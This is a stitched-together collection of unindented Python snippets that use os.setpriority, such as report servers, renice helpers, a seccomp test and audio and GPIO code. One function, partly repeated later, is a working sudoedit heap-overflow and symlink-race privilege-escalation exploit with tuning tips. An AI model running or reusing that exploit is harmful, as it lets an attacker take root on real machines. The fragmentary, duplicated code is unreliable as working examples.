def optimization(file_path, file_name, reports_path, outputs_path, email,
file_name_full):
from ReportServerAI import optimization
os.nice(-20)
os.setpriority(posix.PRIO_PROCESS, os.getpid(), -20)
optimization.do_optimization(file_path, file_name, reports_path,
outputs_path, email, file_name_full)
def query_calculate(query_file_path, model_file_path, model_details_path,
selected_headers):
from QueryServer import query
os.nice(-20)
os.setpriority(posix.PRIO_PROCESS, os.getpid(), -20)
query.calculate_query(query_file_path, model_file_path, model_details_path,
selected_headers)
def __init__(self):
# raise my priority
os.setpriority(os.PRIO_PROCESS, 0, -15)
# HAProxy sometimes gets annoyed
call(['systemctl', 'restart', 'haproxy'])
# blanks so we can always call stop
self.model = None
self.env = None
self.inspect = None
# get the base class up
try:
self.env = ClusterGlobalState()
self.keys = KeyPair(public=self.env.pk, secret=self.env.sk)
self.model = Model(self.env.state_mountpoint)
self.network = Network()
self.images = Images()
self.controller = Controller(self, self.model, self.network, self.images)
super().__init__(self.keys, self.model, Node, Session, self.controller,
identity_type=LaksaIdentity,
pre_run_callback=self.pre_run,
session_recovered_callback=self.session_recovered,
session_destroy_callback=self.session_destroyed,
node_create_callback=self.node_created,
node_destroy_callback=self.node_destroyed,
forwarding_insert_callback=self.model.set_forwarding_record,
forwarding_evict_callback=self.model.remove_forwarding_record
)
self.proxy = HAProxy(self.model)
self.inspect = LaksaInspection(self)
except BaseException:
self.stop()
raise
def worker():
print("Filename corresponding to the controlling terminal:")
print(os.ctermid())
print("ID do processo:")
print(os.getppid())
print("ID of the current process group:")
print(os.getpgrp())
print("Old Priority:")
print(os.getpriority(os.PRIO_PROCESS, os.getpid()))
os.setpriority(os.PRIO_PROCESS, os.getpid(), 2)
print("New Priority:")
print(os.getpriority(os.PRIO_PROCESS, os.getpid()))
print("Information identifying the current operating system:")
print(os.uname())
print("The round-robin quantum in seconds for the process with PID pid")
print(os.sched_rr_get_interval(0))
return
def setpriority(self, prio: int) -> None:
if self._pid == 0:
# Can't change the kernel's priority
raise PermissionError
self._check_running()
os.setpriority(os.PRIO_PROCESS, self._pid, prio)
def selectable_feature(file_path, file_name, selected_headers, reports_path,
outputs_path, email, file_name_full):
from ReportServerAI import report
os.nice(-20)
os.setpriority(posix.PRIO_PROCESS, os.getpid(), -20)
report.create_report(file_path, file_name, selected_headers, reports_path,
outputs_path, email, file_name_full)
def set_loading_nice() -> None:
'''Set `nice` value to give loading lower cpu/io priority.'''
if conf.overrides.get('loading_nice'):
os.setpriority(os.PRIO_PROCESS, os.getpid(), 20)
# Supposedly if ionice is unset it will act like BestEffort with value = nice/5 .
# But I'm setting the extremely careful class=idle which won't even use the disk when others do.
import psutil
psutil.Process().ionice(ioclass=psutil.IOPRIO_CLASS_IDLE)
def main(self):
self.username = self.getUser()
self.data = self.readFile(self.source)
self.size = self.getSize(self.target)
environ = {
'\n\n\n\n\n': '\n' + self.data,
'SUDO_ASKPASS': '******',
'LANG':
'C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
'A': 'A' * 0xffff
}
for i in range(5000):
directory = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA00000000000000000000000000%08d' % i
overflow = '11111111111111111111111111111111111111111111111111111111%s' % directory
if os.path.exists(directory):
sys.stdout.write('file exists %s\n' % directory)
continue
child = os.fork()
os.environ = environ
if child:
sys.stdout.write('[+] parent %d \n' % i)
sys.stdout.flush()
time.sleep(self.sleep)
if not os.path.exists(directory):
try:
os.mkdir(directory, 0o700)
os.symlink(self.target,
'%s/%s' % (directory, self.username))
os.waitpid(child, 0)
except:
continue
else:
sys.stdout.write('[+] child %d \n' % i)
sys.stdout.flush()
os.setpriority(os.PRIO_PROCESS, 0, 20)
os.execve(
path='/usr/bin/sudoedit',
argv=['/usr/bin/sudoedit', '-A', '-s', '\\', overflow],
env=environ)
sys.stdout.write('[!] execve failed\n')
sys.stdout.flush()
os.abort()
break
if self.size != self.getSize(self.target):
sys.stdout.write('[*] success at iteration %d \n' % i)
sys.stdout.flush()
break
sys.stdout.write("""
\nConsider the following if the exploit fails:
\n\t(1) If all directories are owned by root then sleep
needs to be decreased.
\n\t(2) If they're all owned by you, then sleep needs
increased.
""")
def nice(self, nice: int):
os.setpriority(os.PRIO_PROCESS, self.tpid, nice)
msg = "renice: {}[{}/{}] -> {}".format(self.cmd, self.pid, self.tpid, nice)
print_verbose_msg(msg, self.verbose_opts, "apply_nice")
retcode = subprocess.run(
["renice", "-n", str(nice), "-p",
str(self.pid)],
stdout=subprocess.DEVNULL).returncode
if retcode != 0:
raise Failure()
return True
def renice(self, tpid: int, nice: int, name: str):
p_tpid = self.proc[tpid]
c_nice = p_tpid.nice
if not name:
name = p_tpid.cmd
if c_nice == nice:
return
os.setpriority(os.PRIO_PROCESS, tpid, nice)
self.renice_cmd(tpid, nice)
msg = "renice: {}[{}/{}] {} -> {}".format(name, p_tpid.pid, tpid,
c_nice, nice)
if self.verbose["apply_nice"]:
print(msg, flush=True)
def renice(self, tpid: int, nice: int, name: str):
p_tpid = self.proc[tpid]
c_nice = p_tpid.nice
if not name:
name = p_tpid.cmd
if c_nice == nice:
return
os.setpriority(os.PRIO_PROCESS, tpid, nice)
self.renice_cmd(tpid, nice)
msg = "renice: {}[{}/{}] {} -> {}".format(name, p_tpid.pid, tpid,
c_nice, nice)
if self.verbose["apply_nice"]:
print(msg, flush=True)
def test_notification_resp_success() -> None:
filt = pyseccomp.SyscallFilter(pyseccomp.ALLOW)
filt.add_rule(pyseccomp.NOTIFY, "setpriority")
pid = os.fork()
if pid == 0:
try:
if cov_init is not None:
cov_init()
filt.load()
pid = os.fork()
if pid == 0:
try:
os.setpriority(os.PRIO_PROCESS, 0, os.getpriority(os.PRIO_PROCESS, 0))
except BaseException: # pylint: disable=broad-except
traceback.print_exc()
os._exit(1) # pylint: disable=protected-access
finally:
os._exit(0) # pylint: disable=protected-access
notif = filt.receive_notify()
assert notif.syscall == pyseccomp.resolve_syscall(pyseccomp.Arch.NATIVE, "setpriority")
assert notif.syscall_arch == pyseccomp.system_arch()
assert notif.syscall_args[:3] == [
os.PRIO_PROCESS,
0,
os.getpriority(os.PRIO_PROCESS, 0),
]
filt.respond_notify(pyseccomp.NotificationResponse(0, 0, notif.id, 1))
_, wstatus = os.waitpid(pid, 0)
assert os.WIFEXITED(wstatus)
assert os.WEXITSTATUS(wstatus) == 0
if cov_cleanup is not None:
cov_cleanup()
except BaseException: # pylint: disable=broad-except
traceback.print_exc()
os._exit(1) # pylint: disable=protected-access
finally:
os._exit(0) # pylint: disable=protected-access
_, wstatus = os.waitpid(pid, 0)
assert os.WIFEXITED(wstatus)
assert os.WEXITSTATUS(wstatus) == 0
def increase_my_priority(increase):
# Set the reader process to high priority to reduce frame processing latency,
# we lose frames under load otherwise, hopefully this will reduce the lossage
# TODO Handle windows if necessary
curpriority = os.getpriority(os.PRIO_PROCESS, 0)
logger.debug("Reader default priority is {}".format(curpriority))
try:
os.setpriority(os.PRIO_PROCESS, 0, (curpriority - increase))
logger.warn("Increased priority to: {}".format(curpriority-increase))
except PermissionError:
logger.warn(
"Inadequate permissions to increase the reader priority,consider running with sudo, priority is: {}".
format(curpriority))
newpriority = os.getpriority(os.PRIO_PROCESS, 0)
logger.debug("Reader new priority is {}".format(newpriority))
def watch_backups(machines):
# set nice and ionice for current process
os.setpriority(os.PRIO_PROCESS, 0, 10)
p = psutil.Process(os.getpid())
p.ionice(psutil.IOPRIO_CLASS_IDLE)
i = inotify.adapters.Inotify()
# TODO watch all paths
for name in machines:
d = os.path.join(BU_SYNC_DIR,name)
i.add_watch( d.encode('utf-8') )
print( "Start watching {}".format(d) )
# wait for an inotify event
for event in i.event_gen():
if event is None:
continue
# decode event info
(header, type_names, watch_path, filename) = event
watch_path = watch_path.decode('utf-8')
filename = filename.decode('utf-8')
# only take action of the stamp file was updated
if filename != 'stamp':
continue
if header.mask & (inotify.constants.IN_MOVED_TO|inotify.constants.IN_CLOSE_WRITE):
# only got here if a backup just finished
_LOGGER.info("WD=(%d) MASK=(%d) COOKIE=(%d) LEN=(%d) MASK->NAMES=%s "
"WATCH-PATH=[%s] FILENAME=[%s]",
header.wd, header.mask, header.cookie, header.len, type_names,
watch_path, filename)
try:
# handle the new backup
new_backup(watch_path)
except BackupError as e:
_LOGGER.error(e)
def __init__(self, title, daemon=True, priority=0):
"""
**Constructor**
Parameters
----------
title : `string`
Title of the plot
daemon : `bool`
This parameters indicates if the spawned process should be daemon or not
In general if daemon is set to **True** as the script ends it will close the graph, otherwise the script will end only when the graph is closed
"""
self.plotsCount = 0
ctx = multiprocessing.get_context('spawn') # @UndefinedVariable
self.plot_queue = ctx.Queue()
self.plotter = ProcessPlotter()
self.plot_process = ctx.Process( target = self.plotter,args = (self.plot_queue,title) )
self.plot_process.daemon = daemon
self.plot_process.start()
# Setting a lower priority to the graphic process (it should be between -20 and 19, but we only set it between 0 and 19)
if (priority >= 0 and priority <= 19):
os.setpriority(os.PRIO_PROCESS, self.plot_process.pid, priority)
tempo = 120
if len(tempo_string) > 0:
tempo = int(tempo_string)
tempo_file.close()
iteration_period = 60.0 / tempo
total_iterations = 300 / iteration_period
# create the objects
play_objects = [
sounds.PlayoutObject("samples/%d/%d.wav" % (this_id, n))
for n in range(0, 6)
]
lpd = launchpad.Launchpad()
try:
os.setpriority(os.PRIO_PROCESS, os.getpid(), -8)
except:
pass
start_time = time.time()
iteration = -1
while iteration < total_iterations:
iteration += 1
current_column = iteration % 8
# start making the right combination of noises
for n in range(0, model.Model.rows):
if lpd.selected(current_column, n):
play_objects[n].reset()
# loop until it's time not to
# find the tempo
tempo_file = open("samples/%d/tempo" % (this_id,))
tempo_string = tempo_file.read()
tempo = 120
if len(tempo_string) > 0:
tempo = int(tempo_string)
tempo_file.close()
iteration_period = 60.0/tempo
total_iterations = 300/iteration_period
# create the objects
play_objects = [sounds.PlayoutObject("samples/%d/%d.wav" % (this_id, n)) for n in range(0, 6)]
lpd = launchpad.Launchpad()
try:
os.setpriority(os.PRIO_PROCESS, os.getpid(), -8)
except:
pass
start_time = time.time()
iteration = -1
while iteration < total_iterations:
iteration += 1
current_column = iteration % 8
# start making the right combination of noises
for n in range(0, model.Model.rows):
if lpd.selected(current_column, n):
play_objects[n].reset()
# loop until it's time not to
if child:
sys.stdout.write('[+] parent %d \n' % i)
sys.stdout.flush()
time.sleep(self.sleep)
if not os.path.exists(directory):
try:
os.mkdir(directory, 0o700)
os.symlink(self.target, '%s/%s' % (directory,
self.username))
os.waitpid(child, 0)
except:
continue
else:
sys.stdout.write('[+] child %d \n' % i)
sys.stdout.flush()
os.setpriority(os.PRIO_PROCESS, 0, 20)
os.execve(
path='/usr/bin/sudoedit',
argv=[
'/usr/bin/sudoedit',
'-A',
'-s',
'\\',
overflow
],
env=environ
)
sys.stdout.write('[!] execve failed\n')
sys.stdout.flush()
os.abort()
break
return round((num * 18) + 1)
#GPIO's
LEDs = ["P8_7", "P8_8"]
ADCs = ['P9_35', 'P9_36']
GPIO.setup(LEDs[0], GPIO.OUT)
GPIO.setup(LEDs[1], GPIO.OUT)
ADC.setup()
childrenPIDs = []
ADCValues = [0, 0]
os.setpriority(os.PRIO_PROCESS, os.getpid(), 0)
try:
pid = os.fork()
if (pid == 0):
#Child 1
childProcessJob(LEDs[0])
else:
#Parent
childrenPIDs.append(pid)
pid = os.fork()
os.setpriority(os.PRIO_PROCESS, childrenPIDs[0], ADCValues[0])
if (pid == 0):
#Child 2
childProcessJob(LEDs[1])
